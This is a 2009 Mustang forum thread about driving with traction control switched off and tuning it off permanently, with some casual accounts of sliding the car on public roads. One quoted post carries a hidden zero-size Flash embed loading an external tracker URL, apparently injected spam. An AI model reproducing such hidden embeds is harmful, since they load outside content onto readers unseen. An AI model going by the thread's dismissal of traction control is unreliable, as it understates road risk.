Driving with the TCS turned off

COBESGT · Sep 4, 2009

I know this probably sounds very stupid, but is it just me or does my car seem like it has more power with the TCS (Traction Control System) turned "OFF". I always use to drive the car with the TCS "ON", since that's the state it always wants to be in, plus it's kinda a pain to reach-up an hit the button. However, recently I've been turning it off and it does seems like it runs better, more power, better acceleration, etc. This morning while driving to work I shifted into 3rd and got the rearend a bit sideways. Needless to say, I had a huge grin on my face! Just wanted to know if anyone else thinks the same way I do?

On another note, why don't custom tunes make this an option, so you never have to turn the TCS off? Perhaps a liability issue?.?.

The Fang · Sep 4, 2009

Be thankful for it cause it can be very irritating and dangerous without it. Mine has no tcs at all and it is very hard to get traction in rain and other situations. Take offs at the light when your in a hurry and the tires spin can draw the wrong attention if ya know what I mean.
somebody read my rant and decided to make the roads much safer by adding ABS brakes and TCS to all 2010 base mustangs.

MRTORCHRED · Sep 4, 2009

i lost my tcs when i installed a custom tune with the diablo tuner.at times i wish i had it back.

ct07gt · Sep 4, 2009

I am pretty sure that with a custom tune you have have off be the default. I never really have the problems that The Fang has. Pretty much the only time it kicks in when I don't expect it to is when you drive over a cross walk or something when the road is wet.
I have the base interior so the 3 buttons that would be used for the Interior Upgrade Package aren't used. I tried to swap the TCS and Hazard Light buttons over to the driver side but the wiring isn't long enough and they put tabs on the back of the button assembly and the blank plate on the driver side so they aren't interchangeable. I wanted to get the TCS button on the driver side.

GreyDiesel · Sep 4, 2009

I have an SCT tuner and set it to "default off". Couple things happened with the TCS that irritated me.

one: I actually forgot to turn it off at the drag strip one night. That sucked. I was lucky enough that I did not try a burnout, but the launches still felts all jacked up. I thought I was bogging, but actually the TCS was keeping my wheels from spinning.

two: In winter, I had it on, and could not make it up my alleyway (rear entrance garage). I tried and tried, but there was a slight hill and as soon as the wheel spun, the power would cut off and I would slide backwards. So, I turned it off and was able to get up the hill by spinning the wheels, but only just a bit.

Seems to me, if the traction control hinders my ability to get a up an icy hill, then what good is it? I'd rather drive around with it off all the time and get a more intuitive feel for when my tires will loose grip --for a more visceral connected driving experience. But I take driving more seriously than the general public, so I dont fault Ford for putting it on, i am just glad SCT allows me to turn it perma-off.

mustangdave · Sep 4, 2009

I believe most tunes can turn it off, but then you lose the ability to be able to have it on at all. That being said, I think it sucks and I can drive in rain, snow,etc.. much better without it.

Five Oh Brian · Sep 4, 2009

My Diablosport tuner allowed me to choose to disable TCS full time, so I've done just that. I've been powersliding (drifting) while driving for 25+ years, so I don't feel the need for a babysitter. Plus, at the dragstrip, I don't ever want to accidentally forget to turn it off.

TCS does zap a bit of power, but only when traction is compromised. It is a 3-stage process. First, it pulls timing (to reduce power), then it pulls fuel (to further reduce power), then it will apply the brakes (if reducing power isn't enough). When traction is not compromised, the car should make the same power regardless of whether TCS is on or off.

40th GT · Sep 4, 2009

Is there any kind of indicator light that lets you know when it's in action?

The previous generation cars had a green spinning wheel that lights up.

ct07gt · Sep 4, 2009

Yellow light flashes under the tach or speedo, don't remember which one. It is a picture of the back of a car with two wavy lines to look like tire tracks. It's a pretty noticeable feeling as well, car falls on its face and it actually uses the rear brakes a little.

The Fang · Sep 5, 2009

ct07gt said:
I never really have the problems that The Fang has.

I also dont have Tlok and all these hills in town are a pain.

ct07gt · Sep 5, 2009

You have hills in Florida? It makes sense that it would be more of a problem with no Limited Slip, I forgot the V6 doesn't get one. I wasn't trying to make you out to be a bad driver, I have a Jeep Cherokee that likes to spin the inside tire when its wet out.

walter · Sep 5, 2009

I never drive with TCS on. My routine when I get in and drive is turn the damn thing off. Electronic aides are breeding drivers that are dumb and careless.

You probably think you're getting more power because the engine is not being stifled in favor of traction.

Stryfe8822 · Sep 5, 2009

I wish there was a way to just leave the TCS off and turn it on if you want to. Is there any type of tuner that allows you to have the TCS off when you first start the car and turn it on when you want to?

walter · Sep 5, 2009

I think so some tuners will tune your TCS off by default.

BLKNED · Sep 5, 2009

I hate the TCS, I turn it off every time I start the car. The first time I had the car in rain I turned it back on and it caused me more problems. The one time we got snow last winter I was sure to turn it off.

walter · Sep 7, 2009

Not to mention the TCS system in these cars works by applying brake pressure to your rear brakes. I heard plenty of horror stories about people who drive for performance toasting their rears after a good track session.

TheVat · Sep 7, 2009

Yesterday morning I was making a right turn onto a freeway onramp (10mph 2nd gear) and my rear end slid to the left. Very light throttle, no mash about 1200rpm I think. I quickly turned the wheel to the left steering into it, no more slide. It's very easy to lose the rear end and most drivers aren't prepared or experienced to handle an oversteer situation. If you're in an unprepared oversteer slide and TCS intervenes, I'm thinking you'll bog the engine or be pointing in a scary direction (I know from experience in my 01 gt vert). In the manual, if it is a little wet and you floor first, drop in 2nd and floor, the rear end will step out waaaaay left. TCS helps that situation. Understeer, I've never had that in my car but you're pretty much screwed; TCS won't help you much. Our TCS is very basic (cut engine power, apply rear brakes) but more advanced systems with apply individual brakes enabling much more control. I think its a good feature to have; this car requires attention with the all the twist/flex/weight transfer the rear suspension undergoes with throttle in turns. Sorry If I stepped off topic OP but I agree the car does feel a bit more responsive w/ TCS off. I think its in our heads though unless you find yourself in the above senarios.

sbreaux26 · Sep 8, 2009

COBESGT said:
I know this probably sounds very stupid, but is it just me or does my car seem like it has more power with the TCS (Traction Control System) turned "OFF". I always use to drive the car with the TCS "ON", since that's the state it always wants to be in, plus it's kinda a pain to reach-up an hit the button. However, recently I've been turning it off and it does seems like it runs better, more power, better acceleration, etc. This morning while driving to work I shifted into 3rd and got the rearend a bit sideways. Needless to say, I had a huge grin on my face! Just wanted to know if anyone else thinks the same way I do? <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4097"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4097" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>

On another note, why don't custom tunes make this an option, so you never have to turn the TCS off? Perhaps a liability issue?.?.

When I bought my car the "accessories" guy told me to turn it off when you want to get on it. I am not sure why, but he said you will get better performace when its off...

Driving with the TCS turned off

COBESGT

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The Fang

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MRTORCHRED

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ct07gt

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GreyDiesel

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mustangdave

My rearend needs a stud and two nuts.

Five Oh Brian

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40th GT

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ct07gt

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The Fang

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ct07gt

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walter

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BLKNED

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TheVat

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sbreaux26

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